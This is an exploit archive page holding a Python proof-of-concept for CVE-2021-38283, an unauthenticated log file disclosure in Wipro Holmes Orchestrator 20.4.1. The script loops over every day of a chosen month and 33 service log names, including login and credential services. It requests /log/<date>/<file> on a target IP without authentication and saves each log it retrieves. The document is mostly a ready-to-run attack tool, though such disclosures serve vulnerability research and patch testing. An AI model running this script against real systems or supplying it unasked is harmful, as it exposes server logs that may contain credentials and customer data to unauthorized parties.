Wipro Holmes Orchestrator 20.4.1 File Disclosure

Authored by Rizal Muhammed

Posted Nov 22, 2021

Wipro Holmes Orchestrator version 20.4.1 unauthenticated log file disclosure exploit.

tags | exploit
advisories | CVE-2021-38283
SHA-256 | 502d10437969505b9954475d260c67912ed441e4f7435ab422de904ab296060a Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Log File Disclosure
# Date: 09/08/2021
# Exploit Author: Rizal Muhammed @ub3rsick
# Vendor Homepage: https://www.wipro.com/holmes/
# Version: 20.4.1
# Tested on: Windows 10 x64
# CVE : CVE-2021-38283

import requests as rq
import argparse
import datetime
import os
from calendar import monthrange
from multiprocessing.dummy import Pool as ThreadPool
from functools import partial

# Change if running on different port
port = 8001

log_list = [
  "AlertService.txt",
  "ApprovalService.txt",
  "AuditService.txt",
  "CustomerController.txt",
  "CustomerDomainCredentialService.txt",
  "CustomerFileService.txt",
  "CustomerService.txt",
  "DashboardController.txt",
  "DataParseService.txt",
  "DomainService.txt",
  "ExecutionService.txt",
  "ExternalAPIService.txt",
  "FilesController.txt",
  "FormService.txt",
  "InfrastructureService.txt",
  "ITSMConfigPrepService.txt",
  "LicenseService.txt",
  "LoginService.txt",
  "MailService.txt",
  "MasterdataController.txt",
  "NetworkService.txt",
  "OrchestrationPreparationService.txt",
  "ProblemInfrastructureService.txt",
  "ProcessExecutionService.txt",
  "ServiceRequestService.txt",
  "SolutionController.txt",
  "SolutionLiveService.txt",
  "SolutionService.txt",
  "StorageService.txt",
  "TaskService.txt",
  "TicketingService.txt",
  "UserController.txt",
  "UtilityService.txt"

]

def check_month(val):
  ival = int(val)
  if ival > 0 and ival < 13:
    return ival
  else:
    raise argparse.ArgumentTypeError("%s is not a valid month" % val)

def check_year(val):
        iyear = int(val)
        if iyear >= 1960 and iyear <= datetime.date.today().year:
                return iyear
        else:
                raise argparse.ArgumentTypeError("%s is not a valid year" % val)


def do_request(target, date, log_file):
  log_url = "http://%s/log/%s/%s" % (target, date, log_file)

  log_name = "%s_%s" % (date, log_file)
  print ("[*] Requesting Log: /log/%s/%s" % (date, log_file))

  resp = rq.get(log_url)

  if resp.status_code == 200 and not "Wipro Ltd." in resp.text:
    print ("[+] Success : %s" % log_url)
    #print (resp.text[0:150] + "\n<...snipped...>")
    with open("logs/%s" % log_name, 'w') as lf:
      lf.write(resp.text)
    lf.close()
    print ("[*] Log File Written to ./logs/%s" % (log_name))

def main():

  parser = argparse.ArgumentParser(
      description="Wipro Holmes Orchestrator 20.4.1 Unauthenticated Log File Disclosure",
      epilog="Vulnerability Discovery, PoC Author - Rizal Muhammed @ub3sick"
    )

  parser.add_argument("-t","--target-ip", help="IP Address of the target server", required=True)
        parser.add_argument("-m","--month", help="Month of the log, (1=JAN, 2=FEB etc.)", required=True,
type=check_month)
        parser.add_argument("-y","--year", help="year of the log", required=True, type=check_year)
        args = parser.parse_args()

  ndays = monthrange(args.year, args.month)[1]
  date_list = ["%s" % datetime.date(args.year, args.month,day) for day in range(1,ndays+1,1)]

  target = "%s:%s" % (args.target_ip, port)

  # create folder "logs" to save log files, if does not exist
  if not os.path.exists("./logs"):
    os.makedirs("./logs")

  for log_date in date_list:
    for log_file in log_list:
      do_request(target, log_date, log_file)

if __name__ == "__main__":
  main()
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat	157 files
Ubuntu	76 files
LiquidWorm	23 files
Debian	21 files
nu11secur1ty	11 files
malvuln	11 files
Gentoo	9 files
Google Security Research	8 files
Julien Ahrens	4 files
T. Weber	4 files

File Tags

ActiveX	(932)
Advisory	(79,754)
Arbitrary	(15,694)
BBS	(2,859)
Bypass	(1,619)
CGI	(1,018)
Code Execution	(6,926)
Conference	(673)
Cracker	(840)
CSRF	(3,290)
DoS	(22,602)
Encryption	(2,349)
Exploit	(50,359)
File Inclusion	(4,165)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,660)
Intrusion Detection	(867)
Java	(2,899)
JavaScript	(821)
Kernel	(6,291)
Local	(14,201)
Magazine	(586)
Overflow	(12,419)
Perl	(1,418)
PHP	(5,093)
Proof of Concept	(2,291)
Protocol	(3,435)
Python	(1,467)
Remote	(30,044)
Root	(3,504)
Ruby	(594)
Scanner	(1,631)
Security Tool	(7,777)
Shell	(3,103)
Shellcode	(1,204)
Sniffer	(886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX	(426)
Apple	(1,926)
BSD	(370)
CentOS	(55)
Cisco	(1,917)
Debian	(6,634)
Fedora	(1,690)
FreeBSD	(1,242)
Gentoo	(4,272)
HPUX	(878)
iOS	(330)
iPhone	(108)
IRIX	(220)
Juniper	(67)
Linux	(44,315)
Mac OS X	(684)
Mandriva	(3,105)
NetBSD	(255)
OpenBSD	(479)
RedHat	(12,469)
Slackware	(941)
Solaris	(1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed